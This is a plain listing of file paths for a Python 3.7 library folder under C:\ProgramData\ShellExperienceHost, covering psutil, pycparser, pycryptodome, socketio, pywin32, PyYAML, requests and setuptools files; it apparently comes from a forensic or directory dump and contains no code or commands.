C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_PROCESS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_SUNOS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_SYSTEM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_TESTUTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_UNICODE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_WINDOWS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__MAIN__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\RUNNER.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_AIX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_BSD.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_CONNECTIONS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_CONTRACTS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_LINUX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_MEMLEAKS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_MISC.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_OSX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_POSIX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_PROCESS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_SUNOS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_SYSTEM.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_TESTUTILS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_UNICODE.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\TEST_WINDOWS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\__PYCACHE__\__MAIN__.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_COMMON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSAIX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSBSD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSLINUX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSOSX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSPOSIX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSSUNOS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSUTIL_WINDOWS.CP37-WIN_AMD64.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\_PSWINDOWS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSAIX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSBSD.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSLINUX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSOSX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSPOSIX.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\__PYCACHE__\_PSSUNOS.CPYTHON-37.PYC
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER-2.20.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\AST_TRANSFORMS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_AST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_GENERATOR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_LEXER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\C_PARSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\LEXTAB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLYPARSER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\CPP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\CTOKENS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\LEX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\YACC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\YGEN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\PLY\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\YACCTAB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\_AST_GEN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\_BUILD_TABLES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\_C_AST.CFG
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCPARSER\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\AUTHORS.RST
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\LICENSE.RST
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYCRYPTODOME-3.9.9.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHONCOM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_ENGINEIO-3.13.2.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYTHON_SOCKETIO-4.6.0.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32-300.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32.PTH
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32.VERSION.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32\PYTHONCOM37.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYWIN32_SYSTEM32\PYWINTYPES37.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PYYAML-5.3.1.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS-2.25.1.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\ADAPTERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\API.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\AUTH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\CERTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\COOKIES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\HELP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\HOOKS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\MODELS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\PACKAGES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\SESSIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\STATUS_CODES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\STRUCTURES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\_INTERNAL_UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\REQUESTS\__VERSION__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\DEPENDENCY_LINKS.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\ENTRY_POINTS.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS-51.0.0.DIST-INFO\ZIP-SAFE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\ARCHIVE_UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\BUILD_META.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CLI-32.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CLI-64.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CLI.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\ALIAS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BDIST_EGG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BDIST_RPM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BDIST_WININST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BUILD_CLIB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BUILD_EXT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\BUILD_PY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\DEVELOP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\DIST_INFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\EASY_INSTALL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\EGG_INFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL_EGG_INFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL_LIB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\INSTALL_SCRIPTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\LAUNCHER MANIFEST.XML
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\PY36COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\REGISTER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\ROTATE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\SAVEOPTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\SDIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\SETOPT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\TEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\UPLOAD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\UPLOAD_DOCS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\COMMAND\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\CONFIG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\DEPENDS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\DEP_UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\DIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\ERRORS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\EXTENSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\EXTERN\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GLOB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GUI-32.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GUI-64.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\GUI.EXE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\INSTALLER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\LAUNCH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\LIB2TO3_EX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\MONKEY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\MSVC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\NAMESPACES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\PACKAGE_INDEX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\PY34COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SANDBOX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SCRIPT (DEV).TMPL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SCRIPT.TMPL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\SSL_SUPPORT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\UNICODE_UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\WHEEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\WINDOWS_SUPPORT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DEPRECATION_WARNING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\ARCHIVE_UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\BCPPCOMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CCOMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CMD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_DUMB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_MSI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_RPM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BDIST_WININST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_CLIB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_EXT.PY
